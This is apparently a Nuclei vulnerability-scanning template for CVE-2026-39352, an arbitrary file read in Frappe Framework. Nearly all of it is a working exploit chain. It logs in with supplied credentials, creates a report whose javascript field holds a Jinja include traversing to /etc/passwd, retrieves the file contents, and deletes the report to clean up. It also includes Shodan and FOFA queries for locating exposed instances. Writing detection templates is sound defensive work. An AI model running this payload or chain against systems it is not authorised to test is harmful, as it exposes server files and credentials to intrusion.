CVE-2026-39352: Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal

id: CVE-2026-39352

info:
  name: Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.
  impact: |
    Attackers can read arbitrary files, potentially exposing sensitive information.
  remediation: Update to version 15.105.0, 16.15.0 or later.
  reference:
    - https://github.com/frappe/frappe/security/advisories/GHSA-67rf-pxgh-vfqv
    - https://github.com/frappe/frappe/commit/b5ab941788f6232b4f9313432ea7bfb61389fbfd
    - https://github.com/frappe/frappe/pull/38215
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-39352
    epss-score: 0.01279
    epss-percentile: 0.68526
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 4
    vendor: frappe
    product: frappe
    shodan-query: http.title:"Login" http.html:"frappe"
    fofa-query: title="Login" && body="frappe"
  tags: cve,cve2026,frappe,lfi,authenticated,file-read

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/method/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        usr={{username}}&pwd={{password}}

    matchers:
      - type: word
        part: body
        words:
          - "Logged In"
        internal: true

  - raw:
      - |
        POST /api/resource/Report HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"doctype":"Report","report_name":"nuclei_cve2026_39352_{{randstr}}","report_type":"Script Report","ref_doctype":"User","is_standard":"No","disabled":0,"javascript":"{% include 'frappe/../../../../../../../../../../etc/passwd' %}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "nuclei_cve2026_39352")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/method/frappe.desk.query_report.get_script?report_name=nuclei_cve2026_39352_{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and

  - raw:
      - |
        DELETE /api/resource/Report/nuclei_cve2026_39352_{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "data","ok")
          - contains(content_type, "application/json")
          - status_code == 202
        condition: and
        internal: true
# digest: 4b0a00483046022100d514cf5246bbac374aecefe783c8eeb6723b7e75b3422f09a3766e7f6822b609022100d43a96863f667f5c0f2830a3fb57281f0bf1c57c5395fc890d8f636829fe5713:922c64590222798bb761d5b6d8e72950

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